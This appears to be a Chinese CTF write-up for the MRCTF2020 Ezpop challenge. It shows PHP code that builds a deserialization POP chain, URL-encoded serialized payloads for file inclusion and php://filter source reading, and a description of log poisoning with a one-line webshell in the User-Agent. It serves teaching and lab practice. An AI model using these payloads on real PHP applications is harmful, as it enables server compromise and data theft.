当前位置:   article > 正文

MRCTF2020 Ezpop wp

MRCTF2020 Ezpop wp

可以通过buuoj启动环境
在这里插入图片描述
考的反序列化
首先做pop链的题,我们需要知道php中魔法函数的作用
在这就介绍改题所涉及的魔法函数

首先是__invoke()
在将类名当函数使用的时候调用
一般是这种题的出口

然后是__constructor
在创建该类对象时调用
__wakeup在反序列化该类对象时调用
__toString在将类作为字符串使用时调用
__get访问不存在的变量,或private修饰的变量时调用
那么知道以上的知识后
再来看代码
在这里插入图片描述

这里是出口,我们希望最终执行文件包含,达到我们的目的
那么此处Modifier类$var的值就该是我们希望包含的值
如何调用__invoke函数?

在这里插入图片描述
观察得到Test类中的__get函数可以成为跳板
在这里插入图片描述
再通过Show类__toSting方法去访问Test类中不存在的值以调用__get方法
在这里插入图片描述
最终到入口__wakeup方法
那么poc如下

$T=new Test();
$S=new Show();
$M=new Modifier();
$S->source=new Show();
$S->source->str=$T;
$T->p=$M;
echo urlencode(serialize($S));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

我们尝试日志包含
$var的值改为:file:///var/log/nginx/access.log
传入后发现漏洞存在

在这里插入图片描述
抓包,在ua里写入一句话木马
蚁剑连上
在这里插入图片描述
拿到flag

最开始没有想到直接包含flag.php 因为没想到会是这个文件名,再试试直接包含flag.php

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
  • 1

在这里插入图片描述
是无法得到的,那么可以考虑用伪协议读下源码

php://filter/read=convert.base64-encode/resource=flag.php
  • 1

序列化且url编码后得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
  • 1

在这里插入图片描述
也是可以拿到flag的

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/936708
推荐阅读
  

闽ICP备14008679号